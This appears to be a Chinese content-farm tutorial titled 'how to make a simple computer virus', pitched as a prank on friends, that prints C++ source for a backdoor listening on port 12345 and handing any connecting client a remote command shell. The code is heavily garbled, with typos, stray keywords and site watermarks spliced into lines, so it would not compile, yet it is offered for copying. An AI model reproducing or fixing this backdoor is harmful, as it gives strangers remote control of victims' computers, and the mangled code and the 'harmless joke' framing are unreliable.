怎样制作一个简单的电脑病毒
如何才能做出一个简单的电脑病毒呢!和朋友们开开小玩笑呢!下面由学习啦小编给你做出详细的制作简单的电脑病毒介绍!希望对你有帮助!
制作简单的电脑病毒介绍:
这是个简单的后门(cmdshell)
学习啦在线学习网 #i nclude
int main(int argc,char*argv[])
{
学习啦在线学习网 return 0;
}//这个大家都知道了然后添加头文件C m d S h e l l.h跟Socket.h
学习啦在线学习网 #i nclude//WINDOW程序基本上都要包含这个文件的了!!!/cy
学习啦在线学习网 #i nclude "Cmdshell.h"
#i nclude"SocketEX.h"
int main(int argz,char* argv[])
{
学习啦在线学习网 CSocketEX client,server;
//
server.Create(12345,NULL)//
//
学习啦在线学习网 server.Listen()://
while(1)//
#i nclude
{
server.Accept(client);//
SOCKET whi =client.Detach();
//
CreateThread(0,0.(L P T H R E A D _ S T A R T _R O U T I N E)Talk With(void*)whi,0,MULL)'
//
}
}
学习啦在线学习网 void TalkWithCliet(void cs*)
{
学习啦在线学习网 SOCKET wsc=(SOCKET)cs;//
c.Attach(wsc);//
学习啦在线学习网 char *cmd;//
学习啦在线学习网 c.Send("Welcome TO CmdShell\r\n"),strlen("Welcome TO CmdShell\r\n"));
//
学习啦在线学习网 while(1);//
{
学习啦在线学习网 c.Send("#",stelen("#"));
//
cmd=recvcmd(c);
//
/******得到cmd shell*************/
if (strcmp(cmd ,"shell")==0
{
学习啦在线学习网 CCmdShell cmdshell
//
学习啦在线学习网 cmdshell.LetUsGo(c.m_hSocket);
//
continue;
}
//
/**************断开连接*************/
学习啦在线学习网 if (strcmp(cmd,"quit")==0)
{break;}
//
if(c.m.h_Socket==INVALD_SOCKET)
{break;}
//
if(wsc==INVALID_SOCKET)
{break}
学习啦在线学习网 } wsc jasd break void continue if wcs char while int email if !//sdh
return
//
学习啦在线学习网 closesocket(wsc);
}
char*recvcmd(CSocketEx&c)//
{
学习啦在线学习网 char*cmd;//
charbuf[32];//
char chr[1];//
int i=0;
学习啦在线学习网 ZeroMemory(but,32);//
while(i<32);//
{
学习啦在线学习网 if(!c.Receive(chr,1)c.Close();//
学习啦在线学习网 buf[i]=chr[0];//
学习啦在线学习网 if(chr[0]==oxa||chr[0]==oxa)//
{
buf[i]=0;
break;
}
i++;
}
学习啦在线学习网 cmd=but;//
return cmd;//
}
以上是c++代码,复制即可,希望对你有帮助!
看了“怎样制作一个简单的电脑病毒”文章的还看了:
1.如何制作电脑病毒